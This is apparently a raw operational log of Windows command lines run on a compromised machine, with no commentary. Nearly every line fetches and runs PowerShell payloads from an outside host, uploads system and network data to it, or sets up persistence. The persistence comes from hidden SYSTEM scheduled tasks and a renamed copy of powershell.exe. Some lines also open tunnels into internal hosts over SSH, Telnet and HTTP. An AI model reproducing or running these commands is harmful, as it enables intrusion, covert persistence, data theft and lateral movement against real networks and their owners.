253|curl.exe -s -m 8 -o C:\Users\Public\fix7b.ps1 http://159.223.110.159:5558/fix7.ps1?v=2 & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\fix7b.ps1 & echo GH3b
254|wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\fix7b.ps1 & echo GH4b
255|wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\fix7.ps1 & echo GH5b
247|schtasks /run /tn r_pk & echo GP1
248|dir C:\Users\Public | findstr /i PStun4 pstun_keep hunter keeper > C:\Users\Public\d248.txt 2>&1 & curl.exe -s -m 8 -T C:\Users\Public\d248.txt http://159.223.110.159:5561/d248.txt & echo GP2
249|curl.exe -s -m 8 -o C:\Users\Public\hunter.ps1 http://159.223.110.159:5558/hunter.ps1?v=1 & curl.exe -s -m 8 -o C:\Users\Public\keeper3.ps1 http://159.223.110.159:5558/keeper3.ps1?v=6 & echo GP3
250|wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\hunter.ps1 & echo GP4
251|wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\keeper3.ps1 & echo GP5
246|route -p add 159.223.110.159 mask 255.255.255.255 192.168.100.1 metric 1 & curl.exe -s -m 8 -o C:\Users\Public\PStun4.ps1 http://159.223.110.159:5558/PStun4.ps1?v=2 & curl.exe -s -m 8 -o C:\Users\Public\pstun_keep.ps1 http://159.223.110.159:5558/pstun_keep.ps1?v=5 & schtasks /run /tn r_pk & dir C:\Users\Public | findstr /i PStun4 pstun_keep hunter keeper > C:\Users\Public\d246.txt 2>&1 & schtasks /query /fo table | findstr /i r_pk r_u1 r_s2 r_k1 >> C:\Users\Public\d246.txt 2>&1 & curl.exe -s -m 8 -T C:\Users\Public\d246.txt http://159.223.110.159:5561/d246.txt & curl.exe -s -m 8 -o C:\Users\Public\hunter.ps1 http://159.223.110.159:5558/hunter.ps1?v=1 & curl.exe -s -m 8 -o C:\Users\Public\keeper3.ps1 http://159.223.110.159:5558/keeper3.ps1?v=6 & schtasks /run /tn r_k1 & echo GO246
31|if not exist C:\Users\Public\mk241 (curl.exe -s -o C:\Users\Public\upoll_new.ps1 --max-time 60 "http://159.223.110.159:5558/upoll.ps1?v=2" & powershell -NoP -EP Bypass -Command "Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match 'upoll' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force }; Start-Sleep -Seconds 1; Copy-Item C:\Users\Public\upoll_new.ps1 C:\Users\Public\upoll.ps1 -Force; schtasks /run /tn r_u1" & echo ok>C:\Users\Public\mk241) & echo GO241
30|if not exist C:\Users\Public\mk240 (curl.exe -s -o C:\Users\Public\keeper3.ps1 --max-time 60 "http://159.223.110.159:5558/keeper3.ps1?v=6" & C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -Command "Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match 'keeper3' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force }; Start-Sleep -Seconds 1; schtasks /run /tn r_k1" & echo ok>C:\Users\Public\mk240) & echo GO240
29|route print -4 | findstr /i "159.223" > C:\Users\Public\n239.txt 2>&1 & netsh interface ipv4 show addresses "Ethernet 3" >> C:\Users\Public\n239.txt 2>&1 & curl.exe -s -m 25 -T C:\Users\Public\n239.txt http://159.223.110.159:5561/n239.txt & echo GO239 & ping -n 2 192.168.18.106 >> C:\Users\Public\n239.txt 2>&1 & curl.exe -s -m 25 -T C:\Users\Public\n239.txt http://159.223.110.159:5561/n239.txt & echo GO239b
28|netstat -ano | findstr :7835 > C:\Users\Public\n238.txt 2>&1 & curl.exe -s -m 25 -T C:\Users\Public\n238.txt http://159.223.110.159:5561/n238.txt & tasklist | findstr svcnet >> C:\Users\Public\n238.txt 2>&1 & curl.exe -s -m 25 -T C:\Users\Public\n238.txt http://159.223.110.159:5561/n238.txt & powershell -NoP -Command "Get-Content C:\Users\Public\pstun4_5941.log -Tail 12" >> C:\Users\Public\n238.txt 2>&1 & curl.exe -s -m 25 -T C:\Users\Public\n238.txt http://159.223.110.159:5561/n238.txt & echo GO238
27|if not exist C:\Users\Public\mk237 (curl.exe -s -o C:\Users\Public\pstun_keep.ps1 --max-time 60 "http://159.223.110.159:5558/pstun_keep.ps1?v=4" & schtasks /run /tn r_pk & echo ok>C:\Users\Public\mk237) & echo GO237
26|(echo ===TIME & time /t & echo ===UHB & netstat -ano | findstr :7835 & echo ===SVCNET & tasklist | findstr svcnet & echo ===LOG5941 & powershell -NoP -Command "Get-Content C:\Users\Public\pstun4_5941.log -Tail 15" & echo ===LOG5750 & powershell -NoP -Command "Get-Content C:\Users\Public\pstun4_5750.log -Tail 8" & echo ===ROUTE & route print -4 | findstr /i "159.223" & echo ===ADD18 & netsh interface ip add address "Ethernet 3" 192.168.18.30 255.255.255.0 & echo rc=%errorlevel% & netsh interface ipv4 show addresses "Ethernet 3" | findstr /i "IP Address" & echo ===PING106 & ping -n 2 192.168.18.106) > C:\Users\Public\n236.txt 2>&1 & curl.exe -s -m 60 -T C:\Users\Public\n236.txt http://159.223.110.159:5561/n236.txt & echo GO236
25|(echo ===ROUTES & route print -4 | findstr /i "159.223 default 0.0.0.0 10.161" & echo ===ADDR3 & netsh interface ipv4 show addresses "Ethernet 3" & echo ===SVCNET & tasklist | findstr /i svcnet & echo ===CTL & netstat -ano | findstr :7835 & echo ===KEEPLOG & type C:\Users\Public\pstun_keep.log & echo ===STATE & type C:\Users\Public\pstun_state.txt & echo ===PING106 & ping -n 2 192.168.18.106 & echo ===PING1 & ping -n 2 192.168.100.1) > C:\Users\Public\n235.txt 2>&1 & curl.exe -s -m 60 -T C:\Users\Public\n235.txt http://159.223.110.159:5561/n235.txt & echo GO235
24|(route -p add 159.223.110.159 mask 255.255.255.255 192.168.100.1 metric 1 if 2 & echo ===ADDR & netsh interface ip add address "Ethernet 3" 192.168.18.30 255.255.255.0 & echo ===VERIFY & route print -4 & ping -n 2 192.168.18.1) > C:\Users\Public\n234.txt 2>&1 & curl.exe -s -m 60 -T C:\Users\Public\n234.txt http://159.223.110.159:5561/n234.txt & schtasks /end /tn u206 & schtasks /delete /tn u206 /f & echo GO234
23|(ipconfig /all & echo ===ROUTE & route print -4 & echo ===NETSTAT & netstat -ano) > C:\Users\Public\n233.txt 2>&1 & curl.exe -s -m 90 -T C:\Users\Public\n233.txt http://159.223.110.159:5561/n233.txt & echo GO233
22|if not exist C:\Users\Public\mk232 (curl.exe -s -o C:\Users\Public\pstun_keep.ps1 --max-time 60 "http://159.223.110.159:5558/pstun_keep.ps1?v=3" & schtasks /run /tn r_pk & echo ok>C:\Users\Public\mk232) & echo GO232
21|if not exist C:\Users\Public\mk231 (curl.exe -s -o C:\Users\Public\u206.ps1 --max-time 60 "http://159.223.110.159:5558/u206.ps1?v=1" & schtasks /create /tn u206 /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\u206.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u206 & echo ok>C:\Users\Public\mk231) & echo GO231
20|if not exist C:\Users\Public\mk230 (curl.exe -s -o C:\Users\Public\pstun_keep.ps1 --max-time 60 "http://159.223.110.159:5558/pstun_keep.ps1?v=2" & curl.exe -s -o C:\Users\Public\pstun_fix2.ps1 --max-time 60 "http://159.223.110.159:5558/pstun_fix2.ps1?v=1" & C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\pstun_fix2.ps1 & schtasks /create /tn r_pk /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\pstun_keep.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_pk & echo ok>C:\Users\Public\mk230) & echo GO230
19|if not exist C:\Users\Public\mk229 (curl.exe -s -o C:\Users\Public\pstun_keep.ps1 --max-time 60 "http://159.223.110.159:5558/pstun_keep.ps1?v=1" & schtasks /create /tn r_pk /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\pstun_keep.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_pk & echo ok>C:\Users\Public\mk229) & echo GO229
18|type C:\Users\Public\pstunfix.log 2>nul | findstr /i "spawn done stop" & tasklist | findstr /i "svcnet powershell" | find /c /v "" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\resp1d.ps1 & echo GO228
17|if not exist C:\Users\Public\m227 (curl.exe -s -o C:\Users\Public\pstun_fix.ps1 --max-time 60 "http://159.223.110.159:5558/pstun_fix.ps1?v=1" & C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\pstun_fix.ps1 & echo ok>C:\Users\Public\m227) & echo GO227
16|del C:\Users\Public\sweep.state 2>nul & curl.exe -s -m 30 -T C:\Users\Public\pstun4_5710.log "http://159.223.110.159:5561/pstun4_5710.log" & curl.exe -s -m 30 -T C:\Users\Public\pstun4_5711.log "http://159.223.110.159:5561/pstun4_5711.log" & start /b wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\PStun4.ps1 -ServePort 5720 -TargetHost 192.168.100.128 -TargetPort 80 -ControlHost 159.223.110.159 -ControlPort 7835 & echo GO226
15|curl.exe -s -o C:\Users\Public\PStun4.ps1 --max-time 60 "http://159.223.110.159:5558/PStun4.ps1?v=1" & start /b wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\PStun4.ps1 -ServePort 5710 -TargetHost 192.168.18.105 -TargetPort 23 -ControlHost 159.223.110.159 -ControlPort 7835 & start /b wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\PStun4.ps1 -ServePort 5711 -TargetHost 192.168.18.106 -TargetPort 22 -ControlHost 159.223.110.159 -ControlPort 7835 & start /b wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\PStun4.ps1 -ServePort 5712 -TargetHost 192.168.18.108 -TargetPort 23 -ControlHost 159.223.110.159 -ControlPort 7835 & start /b wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\PStun4.ps1 -ServePort 5713 -TargetHost 192.168.18.109 -TargetPort 23 -ControlHost 159.223.110.159 -ControlPort 7835 & start /b wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\PStun4.ps1 -ServePort 5714 -TargetHost 192.168.18.117 -TargetPort 22 -ControlHost 159.223.110.159 -ControlPort 7835 & echo TUN225
14|curl.exe -s -o C:\Users\Public\sweepstep.ps1 --max-time 90 "http://159.223.110.159:5558/sweepstep.ps1?v=5" & C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\sweepstep.ps1 > C:\Users\Public\sw.out 2>&1 & curl.exe -s -m 30 -T C:\Users\Public\sw.out "http://159.223.110.159:5561/sw.out" & curl.exe -s -m 30 -T C:\Users\Public\sweep.log "http://159.223.110.159:5561/sweep.log" & type C:\Users\Public\sweep.state 2>nul & echo DIAG224
12|copy /y C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\svcnet.exe >nul 2>&1 & schtasks /run /tn r_n1 & schtasks /run /tn r_n5 & dir C:\Users\Public\svcnet.exe | findstr /i svcnet & echo FIX222 13|curl.exe -s -o C:\Users\Public\sweepstep.ps1 --max-time 90 "http://159.223.110.159:5558/sweepstep.ps1?v=3" & schtasks /create /tn r_sw /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\sweepstep.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_sw & echo SW223
11|curl.exe -s -o C:\Users\Public\sweepstep.ps1 --max-time 90 "http://159.223.110.159:5558/sweepstep.ps1?v=3" & schtasks /run /tn r_sw & curl.exe -s -o C:\Users\Public\svcnet.exe --max-time 30 "http://159.223.110.159:5558/svcnet.bin" & echo SW221
10|del C:\Users\Public\msw 2>nul & curl.exe -s -o C:\Users\Public\sweepstep.ps1 --max-time 90 "http://159.223.110.159:5558/sweepstep.ps1?v=2" & schtasks /create /tn r_sw /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\sweepstep.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_sw & echo SW220
9|if not exist C:\Users\Public\svcnet.exe (copy /y C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\svcnet.exe) & schtasks /create /tn r_n1 /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\keeper3.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_n2 /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\upoll.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_n3 /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\svc_poll2.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_n4 /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\wka.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_n5 /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\sweepstep.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_n1 & schtasks /run /tn r_n4 & schtasks /run /tn r_n5 & echo RENAMED219
8|if not exist C:\Users\Public\msw (curl.exe -s -o C:\Users\Public\sweepstep.ps1 --max-time 90 "http://159.223.110.159:5558/sweepstep.ps1?v=1" & schtasks /create /tn r_sw /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\sweepstep.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_sw & echo DONE218>C:\Users\Public\msw) & echo GO218
6|if not exist C:\Users\Public\m205 (curl.exe -s -o C:\Users\Public\u205.ps1 --max-time 120 "http://159.223.110.159:5558/u205.ps1?v=1" & schtasks /create /tn u205 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u205.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u205 & echo DONE205>C:\Users\Public\m205) & echo GO205 7|if not exist C:\Users\Public\m204 (del C:\Users\Public\u204out.txt 2>nul & schtasks /run /tn u204 & echo DONE204>C:\Users\Public\m204) & echo GO204R
5|schtasks /create /tn r_u1 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\upoll.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_s2 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\svc_poll2.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_k1 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\keeper3.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_w1 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\wka.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_z1 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\z23p.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_w21 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\wka2.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_a1 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\agent1.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_u1 & schtasks /run /tn r_s2 & schtasks /run /tn r_k1 & schtasks /run /tn r_w1 & schtasks /run /tn r_z1 & echo ARM1M
4|curl.exe -s -o C:\Users\Public\u204.ps1 --max-time 120 "http://159.223.110.159:5558/u204.ps1?v=204a" & schtasks /create /tn u204 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u204.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u204 & echo GO204S
3|curl.exe -s -o C:\Users\Public\s3.ps1 --max-time 60 "http://159.223.110.159:5557/s3.ps1?v=s3a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\s3.ps1
2|curl.exe -s -o C:\Users\Public\s2.ps1 --max-time 60 "http://159.223.110.159:5557/s2.ps1?v=s2a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\s2.ps1
1|wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\keeper2.ps1 & echo KEEPSGO